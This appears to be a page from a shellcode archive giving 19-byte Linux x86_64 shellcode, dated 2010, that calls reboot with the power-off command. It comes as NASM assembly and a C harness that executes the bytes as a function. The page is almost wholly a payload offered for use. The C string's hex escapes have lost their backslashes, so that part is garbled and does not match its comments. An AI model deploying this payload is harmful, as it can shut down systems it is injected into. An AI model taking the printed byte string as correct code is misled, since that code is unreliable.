[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Linux/x86_64 reboot(POWER_OFF) 19 bytes shellcode
# Published : 2010-04-25
# Author : zbt
# Previous Title : Linux/x86_64 execve("/bin/sh"); 30 bytes shellcode
# Next Title : linux/x86 sends "Phuck3d!" to all terminals (60 bytes) shellcode


# Linux/x86_64 reboot(POWER_OFF) 19 bytes shellcode
# Date: 2010-04-25
# Author: zbt
# Tested on: x86_64 Debian GNU/Linux


/*
    ; reboot(LINUX_REBOOT_MAGIC1, LINUX_REBOOT_MAGIC2,
LINUX_REBOOT_CMD_POWER_OFF)

    section .text
        global _start

    _start:
        mov     edx, 0x4321fedc
        mov     esi, 0x28121969
        mov     edi, 0xfee1dead
        mov     al,  0xa9
        syscall
*/
int main(void)
{
    char reboot[] =
    "xbaxdcxfex21x43"  // mov    $0x4321fedc,%edx
    "xbex69x19x12x28"  // mov    $0x28121969,%esi
    "xbfxadxdexe1xfe"  // mov    $0xfee1dead,%edi
    "xb0xa9"              // mov    $0xa9,%al
    "x0fx05";             // syscall

    (*(void (*)()) reboot)();

    return 0;
}